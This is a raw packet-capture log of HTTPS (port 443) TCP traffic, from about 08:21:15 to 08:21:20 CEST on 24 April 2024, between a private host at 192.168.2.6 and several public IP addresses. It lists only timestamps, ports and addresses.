Apr 24, 2024 08:21:15.286104918 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.286128998 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.286148071 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.286947012 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.287009954 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.287015915 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.287036896 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.287065029 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.287086010 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.287744999 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.287805080 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.287847042 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.287898064 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.288577080 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.288602114 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.288636923 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.288644075 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.288671017 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.288690090 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.289412975 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.289472103 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.289552927 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.289608002 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.290191889 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.290261030 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.290309906 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.290365934 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.290908098 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.290926933 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.290965080 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.290971994 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.290992022 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.291004896 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.292015076 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.292064905 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.292109966 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.292170048 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.292448997 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.292505980 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.292570114 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.292623043 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.293608904 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.293627977 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.293659925 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.293667078 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.293684006 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.293708086 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.294365883 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.294418097 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.294450045 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.294503927 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.295603991 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.295664072 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.295670033 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.295702934 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.295728922 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.295742035 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.296274900 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.296300888 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.296329975 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.296338081 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.296367884 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.296386957 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.297334909 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.297406912 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.297508001 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.297557116 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.298090935 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.298151970 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.298188925 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.298249006 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.298710108 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.298770905 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.298778057 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.298791885 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.298830032 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.299532890 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.299596071 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.299607992 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.299660921 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.299850941 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.299905062 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.299912930 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.299952030 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.299998045 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.300121069 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.331604958 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.362620115 CEST	49722	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.362642050 CEST	443	49722	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.440344095 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.440382957 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.440444946 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.440821886 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.440836906 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.527435064 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.527528048 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.527720928 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.528158903 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.528218031 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.529088974 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.529145002 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.529264927 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.529617071 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.529628992 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.540682077 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.565514088 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.565642118 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:15.565896034 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:15.565915108 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.565933943 CEST	49724	443	192.168.2.6	23.202.57.177
Apr 24, 2024 08:21:15.565941095 CEST	443	49724	23.202.57.177	192.168.2.6
Apr 24, 2024 08:21:15.932802916 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.933195114 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.933257103 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.933742046 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.935111046 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.935256004 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:15.935565948 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:15.976164103 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.015858889 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.016391993 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.016410112 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.016885042 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.018158913 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.018253088 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.018861055 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.019736052 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.020198107 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.020252943 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.021367073 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.021439075 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.022934914 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.023010015 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.042176962 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.042191029 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.064122915 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.088051081 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.379792929 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.379873991 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.380119085 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.380927086 CEST	49726	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.380968094 CEST	443	49726	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.563195944 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.563271046 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.563344955 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.767806053 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.767832994 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.767857075 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.767920971 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.767990112 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.768029928 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.768076897 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.768955946 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.768997908 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.769028902 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.769049883 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.769073963 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:16.769076109 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.769097090 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:16.769128084 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:18.861223936 CEST	49727	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:18.861258984 CEST	443	49727	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:18.866627932 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:18.866668940 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:18.866729975 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:18.867415905 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:18.867430925 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:18.868228912 CEST	49725	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:18.868295908 CEST	443	49725	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:18.884459972 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:18.884541035 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:18.884635925 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:18.885063887 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:18.885114908 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.080152035 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.080193996 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.080262899 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.080502033 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.080518961 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.082200050 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.082272053 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.082345009 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.082556009 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.082592010 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.088994026 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.089021921 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.089072943 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.089498997 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.089513063 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.382478952 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.383040905 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.383100986 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.383586884 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.384051085 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.384185076 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.384211063 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.428190947 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.429666042 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.544044971 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.544131994 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.547251940 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.547261953 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.548279047 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.550206900 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.550271988 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.550280094 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.550451994 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.567353010 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.567636013 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.567668915 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.568114042 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.568342924 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.568366051 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.569154978 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.569226027 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.569578886 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.569673061 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.569734097 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.569744110 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.569861889 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.569924116 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.570224047 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.570307970 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.570395947 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.570401907 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.592156887 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.617155075 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.679763079 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.768980980 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.769257069 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.769264936 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.769717932 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.770051003 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.770114899 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.770411968 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.770431995 CEST	443	49728	20.10.31.115	192.168.2.6
Apr 24, 2024 08:21:19.770447016 CEST	49728	443	192.168.2.6	20.10.31.115
Apr 24, 2024 08:21:19.770889997 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.770958900 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.772150040 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.772229910 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.772449970 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.772456884 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.820272923 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.892554045 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.892637968 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.892687082 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.893991947 CEST	49730	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.894010067 CEST	443	49730	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.921464920 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.921499014 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.921510935 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.921530962 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.921550035 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.921612024 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.921664000 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.921664000 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.921684980 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.921749115 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.924803972 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.924856901 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.924886942 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.924891949 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.924913883 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.924932957 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.925236940 CEST	49729	443	192.168.2.6	13.107.246.69
Apr 24, 2024 08:21:19.925263882 CEST	443	49729	13.107.246.69	192.168.2.6
Apr 24, 2024 08:21:19.931431055 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.931461096 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.931518078 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.931750059 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:19.931768894 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:19.992722034 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.992882967 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.993326902 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.995223045 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.995223045 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.995249987 CEST	443	49732	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.996623993 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.996648073 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:19.996679068 CEST	49732	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.996773958 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.997073889 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:19.997090101 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:20.050033092 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050069094 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050077915 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050188065 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050215006 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050228119 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050235033 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.050268888 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.050307035 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.050533056 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.052464962 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.052475929 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.052499056 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.052536964 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.052568913 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.052587986 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.052614927 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.052825928 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.052825928 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.422761917 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.423075914 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.423093081 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.423556089 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.423965931 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.424057961 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.424139977 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.464162111 CEST	49731	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.464200020 CEST	443	49731	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.468148947 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.478081942 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.659194946 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:20.659609079 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:20.659621000 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:20.660312891 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:20.660787106 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:20.660787106 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:20.660803080 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:20.661035061 CEST	443	49734	52.146.76.30	192.168.2.6
Apr 24, 2024 08:21:20.711719036 CEST	49734	443	192.168.2.6	52.146.76.30
Apr 24, 2024 08:21:20.908443928 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908479929 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908492088 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908579111 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908605099 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908612013 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.908620119 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908646107 CEST	443	49733	13.107.213.69	192.168.2.6
Apr 24, 2024 08:21:20.908674002 CEST	49733	443	192.168.2.6	13.107.213.69
Apr 24, 2024 08:21:20.908740044 CEST	49733	443	192.168.2.6	13.107.213.69
